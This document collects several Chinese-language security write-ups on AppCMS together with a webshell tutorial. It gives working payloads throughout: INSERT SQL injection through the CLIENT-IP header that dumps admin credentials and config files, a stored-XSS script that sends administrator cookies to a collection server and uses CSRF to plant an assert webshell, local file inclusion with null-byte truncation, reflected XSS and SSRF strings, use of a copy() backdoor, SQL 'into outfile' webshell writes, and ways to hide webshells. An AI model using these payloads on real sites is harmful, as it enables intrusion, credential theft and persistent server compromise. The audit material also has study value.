Appcms漏洞+webshell複習

0x01 背景

由若水師傅提供的一個素材,想要復現CNVD上披露的一個APPCMS的漏洞,由CNVD上的描述可以知道存在漏洞的地方是comment.php這個文件,然後就沒有詳細的漏洞信息了,所以就需要分析相應的源碼文件找出存在漏洞的點。借這個素材撿起下代碼審計的各種感覺。期待一起學習,期待和師傅們各種交流討論。 官方站點:http://www.appcms.cc/ 漏洞詳情地址:

http://www.cnvd.org.cn/flaw/show/CNVD-2017-13891

0x02 審計過程

1. Thinking的心歷路程

本篇是個事後總結,是在審計過程中逐步思考利用,然後達到預期的目的。 先是進行了代碼審計清楚了造成的漏洞的位置,開始先獲得了用戶名是admini,密文密碼:77e2edcc9b40441200e31dc57dbb8829,安全碼:123456;但是並無法得到後臺地址,經過思考分析,便想到利用2次漏洞進行XSS打到後臺地址和cookie,在深入些便是和CSRF結合得到shell,這便是我的心歷路程。以下先說說代碼審計部分。

(1)尋找漏洞位置

打開comment.php文件,通讀comment.php文件中的代碼,並跟蹤數據的傳遞過程。CNVD上說的是一個SQL注入漏洞,所以可以先關注comment.php文件中涉及SQL操作的代碼。

comment.php文件第80行-86行,目測query_update,single_insert存在SQL操作,進行SQL拼接的是TB_PREFIX,$fields['parent_id']和$fields。

1.//comment.php文件第80行-86行
2.    if ($fields['parent_id'] != 0) {
3.        $ress = $dbm -> query_update("UPDATE " . TB_PREFIX . "comment SET son = son + 1 WHERE comment_id = '{$fields['parent_id']}'");
4.    }
5.    $res = $dbm -> single_insert(TB_PREFIX . 'comment', $fields);

其中TB_PREFIX在\core\config.conn.php進行了define('TB_PREFIX', 'appcms_');定義,所以不用管TB_PREFIX。

$fields['parent_id']在第73行$fields['parent_id'] = $page['post']['parent_id'];if(!is_numeric($fields['parent_id'])) die();進行了數據類型的判斷,所以也不能利用。

$fields是由自定義方法function m__add()創建的一個數組,再將$page數組中關鍵的信息賦給$fields,而$page擁有所有POST和GET的數據; 在 m__add()自定義方法中可控的數據$fields['id'],$fields['type'],$fields['parent_id']必須是數字類型,所以無法利用,剩下$fields['uname'] ,$fields['content'],$fields['ip'],後面經過測試和數據跟蹤的過程$fields['ip']是一個可控制並可注入的點。

1.//comment.php文件第29-30行
2.$page['get'] = $_GET; //get參數的 m 和 ajax 參數是默認佔用的,一個用來執行動作函數,一個用來判斷是否啓用模板還是直接輸出JSON格式數據
3.$page['post'] = $_POST;
1.//comment.php文件第57-86行
2.function m__add() {
3.    global $page, $dbm, $c;
4.
5.    $fields = array();
6.    foreach($page['post'] as $key => $val) {
7.        $page['post'][$key] = htmlspecialchars(helper :: escape($val));
8.    }
9.    if (empty($page['post']['comment'])) {
10.        die('{"code":"1","msg":"發表內容不能爲空"}');
11.    }
12.    $code = md5(strtoupper($page['post']['code']));
13.    if ($code != $_SESSION['feedback']) {
14.        die('{"code":"140","msg":"驗證碼錯誤"}');
15.    }
16.    $fields['id'] = $page['post']['id'];if(!is_numeric($fields['id'])) die();
17.    $fields['type'] = $page['post']['type'];if(!is_numeric($fields['type'])) die();
18.    $fields['parent_id'] = $page['post']['parent_id'];if(!is_numeric($fields['parent_id'])) die();
19.    $content = $c -> filter_words($page['post']['comment']);
20.    $fields['content'] = helper :: utf8_substr($content, 0, 300);
21.    $user = $c -> filter_words($page['post']['user'], 'user');
22.    $fields['uname'] = helper :: utf8_substr($user, 0, 10);
23.    $fields['date_add'] = time();
24.    $fields['ip'] = helper :: getip();
25.    if ($fields['parent_id'] != 0) {
26.        $ress = $dbm -> query_update("UPDATE " . TB_PREFIX . "comment SET son = son + 1 WHERE comment_id = '{$fields['parent_id']}'");
27.    }
28.    $res = $dbm -> single_insert(TB_PREFIX . 'comment', $fields);
29.    if (empty($res['error']) && empty($ress['error'])) die('{"code":"0","msg":"恭喜發表成功"}');
30.    die('{"code":"1","msg":"發表失敗:' . $ress['error'] . '"}');
31.}

之所以得到如上的結論,第一個,是在跟進single_insert方法的時候,在改方法中將$fields數組中的值使用foreach進行組合後傳入$sql中沒有經過任何處理。

1.//core/database.class.php第102-120行代碼塊
2. public function single_insert($table_name, $fields) {
3.        if (!is_array($fields) || count($fields) == 0) return array('sql' => '', 'error' => '插入失敗,插入字段爲空', 'sql_time' => 0, 'autoid' => 0);
4.
5.        $sql_field = "";
6.        $sql_value = "";
7.        // 遍歷字段和值
8.        foreach($fields as $key => $value) {
9.            $sql_field .= ",$key";
10.            $sql_value .= ",'$value'";
11.        }

第二個,跟進$fields['ip'] = helper :: getip();的getip()方法,發現獲取的方式中有一項是CLIENT-IP,這種方式可以通過客戶端進行IP僞造。

1.//core/help.class.php文件的第47-57行
2. public static function getip() {
3.        $onlineip = '';
4.        if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
5.            $onlineip = getenv('HTTP_CLIENT_IP');
6.        } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
7.            $onlineip = getenv('REMOTE_ADDR');
8.        } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
9.            $onlineip = $_SERVER['REMOTE_ADDR'];
10.        }
11.        return $onlineip;
12.    }

因此$fields['ip']的值滿足用戶可控且數據未經過安全處理直接拼接傳入SQL語句,造成了insert注入。爲了方便查看和構造payload,我在/core/database.class.php文件的single_insert方法的117行加入 echo $sql;方便查看SQL語句,又由於這個CMS的存在失效的圖片驗證,所以可以輕鬆的使用burpSuite進行注入獲取數據。

(2)構造payload獲取用戶名密碼

接下來構造PAYLOAD,這個位置是insert注入但是並不會報SQL的錯誤,所以無法使用報錯注入,在師傅們的指導提醒下發現可以直接使用insert將注入查詢到的結果回顯到前臺中,由於這個是個評論功能,那麼展示的位置是content,uname,date_add,ip這4個位置。

可以直接使用如下的語句將查詢結果插入到content和uname,然後回顯到前臺的用戶名和回覆內容位置。 PAYLOAD: CLIENT-IP:10.10.10.1'),('1','0','0',(select upass from appcms_admin_list where uid= '1'),(select uname from appcms_admin_list where uid= '1'),'1510908798',1)#

(3)構造payload獲取安全碼

此時就獲得到站點的用戶名和密碼,接下來要獲取安全碼,這裏使用mysql的load_file()來讀取\core\config.php文件,安全碼等敏感信息就在該文件裏面。 可以使用去掉payload後面的#導致報錯等方式得到網站的絕對路徑,因爲在\core\init.php中默認開啓了錯誤提示,所以可以利用錯誤信息得到絕對路徑。

得到絕對路徑便可以使用load_file()去讀取\core\config.php文件中的安全碼了,但是這裏content列是使用varchar,然後長度是500,所以直接使用load_file()是無法獲得安全碼的,因此使用了substr進行了截斷,截斷範圍大致是 從480開始 然後截斷400個字符長度,此處沒有進行了預測沒有精準計算,但是已經將安全碼寫到content列中了。 PAYLOAD: CLIENT-IP:10.10.10.1'),('1','0','0',(SUBSTR(LOAD_FILE('D:\\soft\\phpStudy\\WWW\\APPCMS\\core\\config.php'), 480 , 400)),'thinking','1510908798',123456)#

此時已經得到用戶名是admini,密文密碼:77e2edcc9b40441200e31dc57dbb8829,安全碼:123456;但是APPCMS安裝完畢後強制更改後臺地址,所以就是拿到這3個敏感信息也難以登錄後進行其他操作。

2. Thinking的心歷路程

以上通過代碼審計已經分析了CNVD上該版本的APPCMS漏洞產生的整個過程,接下來是對這個漏洞進行進階研究和學習。所先這種insert注入將用戶可控的數據直接寫到數據庫中,極大的可能還會造成2次漏洞,本小節利用insert注入直接進行存儲型XSS打後臺,且使用CSRF在添加模塊的地方進行寫馬操作。

(1)XSS注入測試

常規測試 忽略 :!)

(2)打COOKIE平臺

這裏我使用的藍蓮花團隊的xss平臺。

PAYLOAD構造:

這裏我對內容進行的修改添加了兩個請求,一個是創建文件的請求,一個是爲文件添加內容的請求。

1.//獲取站點的關鍵信息
2.var website="http://127.0.0.1/xsser";
3.(function(){(new Image()).src=website+'/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();
4.
5.function csrf_shell()
6.{
7.//創建文件名爲evil.php的文件
8.var xmlhttp1=new XMLHttpRequest();
9.xmlhttp1.open("POST","./template.php?m=create_file",true);
10.xmlhttp1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
11.xmlhttp1.send("filename=evil.php");
12.
13.//在evil.php文件中寫入一句話
14.var xmlhttp2=new XMLHttpRequest();
15.xmlhttp2.open("POST","./template.php?m=save_edit",true);
16.xmlhttp2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
17.xmlhttp2.send("filename=evil.php&content=%3C%3Fphp+assert%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E");
18.};
19.csrf_shell();

(3)測試是否利用成功

配置好後進行如下請求,此時後臺會生成一條評論記錄。

模擬管理員登錄後臺,使用burpload進行跟蹤,發現創建了evil.php文件,併爲文件寫入一句話,證明成功執行了剛纔配置好的腳本,然後還將站點的信息包括登錄信息等也發給了目標系統。

此時便收到打回來的COOKIE信息了,而對對應的shell地址便是http://127.0.0.1/APPCMS/templates/default/evil.php

0x03 小小總結

本篇獲取後臺的方法我就想到了XSS,本想使用報錯的方式,但發現前臺並無數據和後臺進行交互,所以沒想到怎麼在前臺引發報錯,報出後臺地址,所以就採用SQL注入,XSS,CSRF直接getShell了。如果師傅們有更好的思路期待討論交流,感謝若水師傅提供的素材,感謝各位師傅的指導。


一、前言

進入六月以後,自己的時間也就充裕很多了。很多比賽結束、綠盟那邊暫時也沒有什麼任務,就等着7月份去入職了。所以沉下心準備學點東西。於是就選擇一位老哥審計過的源碼,自己來審計一遍,看看自己的差距,也給自己增加點經驗。再就是上次土司聚會就說會在土司發表一篇文章……所以潛水很多年的我來了。本文章是審計的一個CMS系統,比較亂,希望別介意。

二、正題

我的審計思路一般是:->看目錄摸清大體的框架->找具體功能審計->選擇漏洞類型進行審計。

1.png
圖1 主要目錄Tree

看目錄很明顯,有後臺目錄、緩存目錄、數據儲存目錄、安裝目錄、插件目錄以及手機版的目錄。大體的目錄瞭解了後,就開始正式的審計了。

首先看下入口文件index.php,發現很有趣,按照常規的入口文件,一般是引入核心文件什麼的,而他直接就是將一些過濾代碼寫到了入口文件。

// 預防XSS漏洞
foreach ($_GET as $k => $v) {
    $_GET[$k] = htmlspecialchars($v);
}
$dbm = new db_mysql();
//預處理搜索時的值,主要是防止sql的注入
if (isset($_GET['q'])) {
    if (isset($_GET['act']) && $_GET['act'] == 'hot') {
        if (trim($_GET['q']) == '') {
            $sql = "SELECT id,q,qnum FROM " . TB_PREFIX . "search_keyword LIMIT 15";
            $res = $dbm->query($sql);
            if (empty($res['error']) && is_array($res['list'])) {
                foreach ($res['list'] as $k => $v) {
                    $res['list'][$k]['q'] = helper :: utf8_substr($v['q'], 0, 20);
                }
                echo json_encode($res['list']);
                exit;
            } else {
                die();
            }
        }
    }
    //超出長度截取
    if (strlen($_GET['q']) > 20) {
        $_GET['q'] = helper :: utf8_substr($_GET['q'], 0, 20);
    }

    if (trim($_GET['q']) == '0' || trim($_GET['q']) == '') die('搜索詞不能爲0或空,請重新輸入。點此 <a href ="' . SITE_PATH . '">回到首頁</a>');
    if (!preg_match("/^[{4e00}-{9fa5}{0}]+$/u", $_GET['q'])) {
        die('搜索詞只允許下劃線,數字,字母,漢字和空格,請重新輸入。點此<a href ="' . SITE_PATH . '">回到首頁</a>');
    }

可以看出,系統做了兩個過濾。一個是htmlspecialchars($v),另一個是/^[\x{4e00}-\x{9fa5}\w {0}]+$/u。前一個過濾是把預定義的字符 "<" 和 ">"轉換爲 HTML 實體,後一個是用正則處理參數,使其只能輸入下劃線、數字、字母、漢字和空格。

繼續看,下面的代碼主要是加載分類板塊,本以爲沒有什麼希望在這個文件尋找出什麼漏洞的時候,最後幾段代碼讓我眼前一亮。

if (substr($tpl, strlen($tpl) - 4, 4) == '.php') {
    $tmp_file = '/templates/' . $from_mobile . '/' . $tpl;
} else {
    $tmp_file = '/templates/' . $from_mobile . '/' . $tpl . '.php';
}
if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板頁面不存在' . $tmp_file);
require(dirname(__FILE__) . $tmp_file);

首先構建php文件,然後判斷該php文件是否存在,如果不存在,直接die,如果存在,引入該文件。沒有任何過濾或者判斷,很明顯的文件包含漏洞!!於是測試查看phpinfo的信息。在根目錄下創建了一個phpinfo文件。

2.png
圖2 phpinfo文件

然後根據代碼,來構建playload。

http://localhost/app/index.php?tpl=../../phpinfo&id=1

3.png
圖3 包含結果

成功讀取。
到這裏有兩個利用的思路。一是讀取相關敏感信息,二是利用該漏洞上傳文件帶有一句話的文件,通過該包含漏洞進行鏈接菜刀。第一個嘗試了一下,沒有發現什麼有效的敏感信息。後臺什麼的,都是js文件和php文件操作,這個包含也看不了什麼信息,於是就把目光轉向了第二個。既然是上傳,肯定要找上傳點,發現前臺並沒有什麼上傳點,於是嘗試着後臺,發現一個神奇的地方。

4.png
圖4 上傳點

app/upload/upload_form.php?params=%7B%22inner_box%22%3A%22%23ff1%22%2C%22func%22%3A%22callback_upload_resource%22%2C%22id%22%3A%221%22%2C%22thumb%22%3A%7B%22width%22%3A%22300%22%2C%22height%22%3A%22300%22%7D%2C%22domain%22%3A%22localhost%22%7D

這個上傳點竟然沒有上傳權限限制,就是說只要知道這個地址,可以傳任何圖片、APK文件到服務器上。然後查看了下upload_form.php文件。果然如此,只是一個上傳文件的格式判斷以及傳入參數判斷,如果參數正確,就可以上傳,沒有驗證訪問者的權限。

 $upload_server= SITE_PATH."upload/";
    //上傳安全驗證字符串
    $verify=helper::encrypt(UPLOAD_CODE.strtotime(date('Y-m-d H:i:s')),UPLOAD_KEY);
    $params=$_GET['params'];
    $params=preg_replace('~(\)~','"',$params);
$json=json_decode($params);    

這就有意思了。
於是結合上面的那個文件包含漏洞,上傳一個含有一句話的圖片,嘗試獲取shell。

5.png
圖5 一句話木馬圖片上傳

PS:這裏有個問題,就是圖片上傳後,文件名是隨機的,實際操作的時候,可能要掃目錄或者其他方法獲取文件名。
因爲在服務器上儲存的是jpg文件,如果直接訪問的話,肯定是顯示不存在模板,如下:

6.png
圖6 嘗試讀取

隨即自然的想起了%00截斷。由於本地環境的php版本是5.2.17<5.3.4,而且並沒有開啓magic_quotes_gpc所以是可以截斷成功的。如下:

7.png
圖7 %00截斷

http://localhost/app/index.php?tpl=../../upload/img/2017/06/11/
593cc2106fd93.jpg%00&id=1

菜刀成功連接之。

8.png
圖8 菜刀連接

看完了入口文件,開始審計其他內容,首先從安裝開始,很遺憾,並沒有發現什麼漏洞,想從註冊和登陸這塊審計,無奈這套系統又不存在這個功能,所以就開始了針對於漏洞的審計。發現根目錄下的pic.php存在問題。代碼如下:

if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
    $img_url=trim($_GET['url']);
    $img_url = base64_decode($img_url);
    $img_url=strtolower(trim($img_url));
    $_GET['type']=strtolower(trim($_GET['type']));
    
    $urls=explode('.',$img_url);
    if(count($urls)<=1) die('image type forbidden 0');
    $file_type=$urls[count($urls)-1]; 
    
    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}

    if(strstr($img_url,'php')) die('image type forbidden 2');

    if(strstr($img_url,chr(0)))die('image type forbidden 3');
    if(strlen($img_url)>256)die('url too length forbidden 4');

    header("Content-Type: image/{$_GET['type']}");
    readfile($img_url);
    
} else {
    die('image not find£¡');
}

以GET的請求方式,傳入兩個參數:url和type,要求url參數必須是base64格式,然後系統經過轉變成小寫後進行判斷驗證。判斷有很多,主要是判斷url傳入參數的長度、內容,如果長度大於256和小於等於1,包含關鍵字php、非標準化路徑統統報錯,並且type類型只能是jpg/gif/png/jpeg。

程序編寫者明顯是有安全意識的。但是這裏還是存在兩個漏洞的,一個是文件包含漏洞,一個是文件下載漏洞。

上面的確是對url參數的做了幾次驗證,但是開發者忽略了編碼轉換。就是說,如果我們講%00、php等類似的字符進行url編碼轉換以後,再進行base64加密,傳入參數後,這幾個驗證是可以繞過的!

我們根據上面的文件包含漏洞來構建playload。

http://localhost/app/pic.php?url=dXBsb2FkL2ltZy8yMDE3LzA2LzEwLzU5M2NjMjEwNmZkOTMlMmUlNzAlNjglNzAlMjUlMzAlMzAuanBn&type=jpg

其中dXBsb2FkL2ltZy8yMDE3LzA2LzEwLzU5M2NjMjEwNmZkOTMlMmUlNzAlNjglNzAlMjUlMzAlMzAuanBn解密後是upload/img/2017/06/10/593cc2106fd93%2e%70%68%70%25%30%30.jpg
這裏的%2e%70%68%70%25%30%30是.php%00。然後菜刀連接之。

9.png
圖9 連接地址

10.png
圖10 成功連接

還有一個漏洞就是header("Content-Type: image/{$_GET['type']}");

這裏我們只要構造type的類型不等於in_array()中的任何一個條件,Content-Type:image/tpye 就會因爲頭文件錯誤導致無法正確解析源文件,造成直接下載源文件的現象。(大家可嘗試在php的文件里加上header("Content-Type: image/php");看看效果

繼續看文件,發現了很多XSS漏洞,不過都是反射型的,這裏就找兩個說吧。

第一處:/templates/m/inc_head.php

<input type="text" id="abc" class="search-txt" value="<?php if(isset($_GET['q'])) echo $_GET['q'];?>" />

很明顯的xss漏洞,直接判斷參數q是否存在,然後輸出。

直接構建playload:

http://localhost/app/templates/m/search.php?q="/><script>alert('xss')</script>

成功觸發漏洞。

11.png
圖11 XSS漏洞(1)

第二處:/templates/m/search.php

<title>ËÑË÷ <?php if(isset($_GET['q'])) echo $_GET['q'];?> - <?php echo SITE_NAME;?></title>

同上,直接構造playload:

http://localhost/app/templates/m/search.php?q=a<;/title><script>alert('xss')</script>

成功觸發漏洞。

11.png
圖12 XSS漏洞(2)

最尷尬的是,inc_head.php 這個文件是存在xss漏洞的,但是很多文件都引入了這個文件,也就導致了很多地方存在了此漏洞。

三、安全建議

對於文件包含漏洞,可以設置類似白名單的方法,通過篩選固定文件名方法。這樣一方面不必切斷這個業務,另一方面又不會被輕易繞過,當然,也可以採用設置open_basedir的方法來防禦。

對於XSS漏洞,沒什麼好說的,本套系統之所以出現XSS漏洞,是因爲沒有類似於PC端那種直接使用正則進行參數驗證,所以只要使用Index.php的那種過濾,是可以的。

四、總結

這次審計對於自己算是一次進步和總結吧,最遺憾的是沒有審計到sql注入漏洞,因爲入口的那個正則過濾以及始終無法閉合雙引號(雙引號被轉義成實體),所以始終沒有注入成功。

有興趣的可以下載這套系統審計看看,就當練手。最後,有不足的地方歡迎指出,我會聽取各位大佬的意見。輕噴哈~


appcms通用漏洞

1.回調接口反射XSS
/upload/callback.php?params=111%27);%3C/script%3E%3Cscript%3Ealert(document.cookie);testsub(%27
2.任意app上傳
/upload/upload_form.php?params=test&v=1111 #訪問後需要構造提交表單或者發requests
添加 <input name=”Submit” value=”提交” type=”submit”>
3.模版xss,直接訪問到模版文件,也可以觸發xss
4.驗證碼缺陷、
appcms中使用的驗證碼都是前端刷新、可以攔截前端驗證碼請求,一直使用舊的驗證碼,比如評論功能,可以遍歷會話刷評論。
5.固定數據庫備份文件名
只要備份了數據庫,都是固定的文件名,直接下載數據庫備份了就,比如/backup/appcms_admin_list_0.sql
6.sql執行調試接口泄漏
/admin/admin_user.php?ajax=json 訪問衆多後臺文件 axaj=json 都會返回當前執行的sql語句。
7.輕微SSRF
先把 http://0535code.com/wp-content/themes/d8/img/logo.png 做base64編碼,然後放入url中;
/pic.php?url=aHR0cDovLzA1MzVjb2RlLmNvbS93cC1jb250ZW50L3RoZW1lcy9kOC9pbWcvbG9nby5wbmc=&type=png
繞過方式 http://0535code.com/?1.png 進行編碼,也可能存在HTTP響應拆分噢、
/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dreferer:http://0535code.com
######################################################################

getshell,通過上面幾種途徑都可以噢、只要可以登陸後臺,後臺有編輯模版功能,就可以getshell了

代碼審計:AppCMS 2.0.101版本本地文件包含


前言:

AppCMS本地文件包含漏洞,可以讀取數據庫賬號密碼,然後遠程連接。

產生原因:

《代碼審計:AppCMS 2.0.101版本本地文件包含》《代碼審計:AppCMS 2.0.101版本本地文件包含》

兩張圖片就可以闡述漏洞的產生原因,首先$tpl,模板函數get獲取,無過濾,後面require包含。


利用:

載入install/templates/step4的安裝步驟,可以讀取數據庫賬號密碼。然後3306連接。

《代碼審計:AppCMS 2.0.101版本本地文件包含》

自己測試的站點


最後順便溫習一下一句話寫入數據庫的方法

1.手工注入爆出phpinfo  知道敏感信息。(物理路徑,php版本。。。。。)還有爆出賬號密碼找後臺登陸

2.如果找不到後臺的情況下 ,知道物理路徑寫入一句話

3.沒有注入的情況下知道數據庫賬號密碼可以直接寫入一句話(有物理路徑)

use mysql;
create table a (cmd text NOT NULL);
insert into a (cmd) values(‘<?php eval($_POST[cmd];?>’);
select cmd from a into outfile ‘/var/www/mm.php’;
drop table if exists a;

AppCMS 2.0.101 後門分析

分析

用beyond compare比較與前一個版本的區別

可以發現,在 templates/m/ 文件夾下出現了一個 content_list.php 文件,修改時間爲 2017年5月25日。

經過解密,9c224bc6b59179729b15e1dddcbb5c82爲字符串kejishidai的md5值。

由代碼知,這裏存在一個copy函數構成的後門。

在第12行,實際執行的即爲:

1
copy(trim($_GET[url]),$_GET[cms]);

將參數url設置爲php://input,參數cms設置爲shell的文件名,然後POST傳入webshell。如下:

1
2
3
4
http://127.0.0.1:2500/appcms/appcms_2.0.101/templates/m/content_list.php?session=kejishidai&url=php://input&cms=temp.php
POST:
<?php phpinfo();?>

接着訪問:

1
http://127.0.0.1:2500/appcms/appcms_2.0.101/templates/m/temp.php

getshell。

建議

刪除 templates/m/ 文件夾下的content_list.php。

Other

cmsPoc





Webshell實現與隱藏探究

一、什麼是webshell

webshell簡介

webshell,顧名思義:web指的是在web服務器上,而shell是用腳本語言編寫的腳本程序,webshell就是就是web的一個管理工具,可以對web服務器進行操作的權限,也叫webadmin。webshell一般是被網站管理員用於網站管理、服務器管理等等一些用途,但是由於webshell的功能比較強大,可以上傳下載文件,查看數據庫,甚至可以調用一些服務器上系統的相關命令(比如創建用戶,修改刪除文件之類的),通常被黑客利用,黑客通過一些上傳方式,將自己編寫的webshell上傳到web服務器的頁面的目錄下,然後通過頁面訪問的形式進行入侵,或者通過插入一句話連接本地的一些相關工具直接對服務器進行入侵操作。
webshell的分類

webshell根據腳本可以分爲PHP腳本木馬,ASP腳本木馬,也有基於.NET的腳本木馬和JSP腳本木馬。在國外,還有用python腳本語言寫的動態網頁,當然也有與之相關的webshell。
根據功能也分爲大馬與小馬,小馬通常指的一句話木馬,例如:<%eval request(“pass”)%>通常把這句話寫入一個文檔裏面,然後文件名改成xx.asp。然後傳到服務器上面。這裏eval方法將request(“pass”)轉換成代碼執行,request函數的作用是應用外部文件。這相當於一句話木馬的客戶端配置。服務器配置(即本機配置):

<form action=http://主機路徑/TEXT.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")//建立流對象
lP.Open //打開
lP.Type=2 //以文本方式
lP.CharSet="gb2312" //字體標準
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newmm.asp"),2 //將木馬內容以覆蓋文件的方式寫入newmm.asp,2就是已覆 蓋的方式
lP.Close //關閉對象
set lP=nothing //釋放對象
response.redirect "newmm.asp" //轉向newmm.asp
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>(添入生成木馬的內容)
</textarea>
<BR>
<center>


<input type=submit value=提交>

這裏通過提交表單的方式,將木馬提交上去,具體的做法是將定義一個對象IP,然後以文本方式寫入newvalue裏面的內容(newvalue的內容在textarea定義),寫入以覆蓋的方式產生ASP文件,然後執行這個腳本。其中客戶端中的value代表的是表單的名字,必須跟服務端(本機)的post提交中的表單名一樣,所以這裏的value可以爲任意字符,相當於一個密碼之類的東西,但是這個‘密碼’是明文的,可以截取下來。PHP的一句話原理跟以上的原理差不多,就是語言的差別導致語法不同。這就是小馬的基本工作原理。
大馬的工作模式簡單的多,他沒有客戶端與服務端的區別,就是一些腳本大牛直接把一句話木馬的服務端整合到了一起,通過上傳漏洞將大馬上傳,然後複製該大馬的url地址直接訪問,在頁面上執行對web服務器的滲透工作。但是有些網站對上傳文件做了嚴格的限制,因爲大馬的功能較多,所以體積相對較大,很有可能超出了網站上傳限制,但是小馬的體積可以控制(比如把代碼複製很多遍,或者在一個亂碼文件中夾入代碼),但是小馬操作起來比較繁瑣,可以先上傳小馬拿到webshell,然後通過小馬的連接上傳大馬拿到服務器。



作者:JackyTsuuuy
鏈接:https://www.jianshu.com/p/02aac12e459f
來源:簡書
簡書著作權歸作者所有,任何形式的轉載都請聯繫作者獲得授權並註明出處。


二、如何上傳webshell

1.解析漏洞上傳
現在對於不同的web服務器系統對應的有不同的web服務端程序,windows端主流的有iis,linux端主流的有nginx。這些服務對搭建web服務器提供了很大的幫助,同樣也對服務器帶來隱患,這些服務器上都存在一些漏洞,很容易被黑客利用。
(1)iis目錄解析漏洞
比如:/xx.asp/xx.jpg

雖然上傳的是JPG文件,但是如果該文件在xx.asp文件夾下,那個iis會把這個圖片文件當成xx.asp解析,這個漏洞存在於iis5.x/6.0版本。
(2)文件解析漏洞
比如:xx.asp;.jpg。在網頁上傳的時候識別的是jpg文件,但是上傳之後iis不會解析;之後的字符,同樣會把該文件解析成asp文件,這個漏洞存在於iis5.x/6.0版本。
(3)文件名解析
比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都會被當成可執行文件,裏面的asp代碼也同樣會執行。(其中asa文件是asp特有的配置文件,cer爲證書文件)。
(4)fast-CGI解析漏洞
在web服務器開啓fast-CGI的時候,上傳圖片xx.jpg。內容爲:

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>

這裏使用的fput創建一個shell.php文件,並寫入一句話。訪問路徑xx.jpg/.php,就會在該路徑下生成一個一句話木馬shell.php。這個漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。語言環境:PHP,prel,Bourne Shell,C等語言。

*注:fast-CGI是CGI的升級版,CGI指的是在服務器上提供人機交互的接口,fast-CGI是一種常駐型的CGI。因爲CGI每次執行時候,都需要用fork啓用一個進程,但是fast-CGI屬於激活後就一直執行,不需要每次請求都fork一個進程。比普通的CGI佔的內存少。
(5)apache解析漏洞
apache解析的方式是從右向左解析,如果不能解析成功,就會想左移動一個,但是後臺上傳通常是看上傳文件的最右的一個後綴,所以根據這個,可以將馬命名爲xx.php.rar,因爲apache解析不了rar,所以將其解析爲php,但是後臺上傳點就將其解析爲rar,這樣就繞過了上傳文件後綴限制
2.截斷上傳
在上傳圖片的時候,比如命名1.asp .jpg(asp後面有個空格),在上傳的時候,用NC或者burpsuite抓到表單,將上傳名asp後面加上%00(在burpsuite裏面可以直接編輯HEX值,空格的HEX值爲20,將20改爲00),如果HEX爲00的時候表示截斷,20表示空格,如果表示截斷的時候就爲無視腳本中的JPG驗證語句,直接上傳ASP。
3.後臺數據庫備份
在一些企業的後臺管理系統中,裏面有一項功能是備份數據庫(比如南方cms裏面就有備份數據庫的功能)。可以上傳一張圖片,圖片裏面含有一句話木馬,或者將大馬改成jpg格式,然後用數據庫備份功能,將這張圖片備份爲asp等其他內容可以被解析爲腳本語句的格式,然後再通過web訪問就可以執行木馬了,但是這種方法很老了,現在大多數的cms已經把這種備份的功能取消了,或者禁用了。
4.利用數據庫語句上傳
(1) mysql數據庫into outfile
這種方式的前提必須是該網站有相應的注入點,而且當前用戶必須要有上傳的權限,而且必須有當前網頁在服務器下的絕對路徑。方法是用聯合查詢,將一句話木馬導入到網站下邊的一個php文件中去,然後使用服務端連接該網站。但是上述方法條件過於苛刻,一般遇到的情況很少。
(2)建立新表寫入木馬
一些開源cms或者自制的webshell會有數據庫管理功能,在數據庫管理功能裏面有sql查詢功能,先使用create table shell(codetext);創建一個名字叫做shell的表,表裏面有列明叫做code,類型爲text。然後使用insert into shell(code) values(‘一句話馬’),這裏講shell表中的code列賦值爲一句話的馬,然後通過自定義備份,將該表備份爲x.php;x然後就被解析成爲php然後執行了,這裏不是x.php;x就一定能夠解析爲php,不同的web服務器上面的服務程序不同,然後過濾規則也不同,可能會使用其他的方式。
(3)phpMyadmin設置錯誤
phpMyadmin用來管理網站數據庫的一個工具,其中config.inc.php爲其配置文件,在查看的該文件的時候,如果$cfg[‘Servers’][$i][‘auth_type’]參數的值設置沒有設置(默認爲config)說明在登陸數據庫的時候沒有做相應的驗證,可以直接連入數據庫,而且在Mysql在一些版本下面默認登陸都是以root用戶進行登陸(即管理員),所以登陸進去爲最大權限。但是root一般只能本地登陸,所以必須創建一個遠程登陸用戶。用遠程登陸用戶登陸之後,創建一個表,然後再將一句話木馬寫入。

三、webshell的“安全”

1.關於webshell的隱藏
在上傳webshell的時候必須要進行webshell的隱藏工作。隱藏webshell,第一個目的是不讓網站管理員發現馬將其刪掉,第二個目的是爲了不被其他的Hacker發現了這個文件並加以利用。
(1)大馬的隱藏
①不死殭屍
windows系統存在系統保留文件夾名,windows不允許用這些名字來命名文件夾保留文件夾:aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt。但是這些可以使用windows的copy命令創建,比如:

c:>copy 3.asp \.\C:\aux.asp

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image020.png

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image022.jpg

在c盤中創建一個aux.asp。這個文件無法在圖像界面下刪除。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image023.png

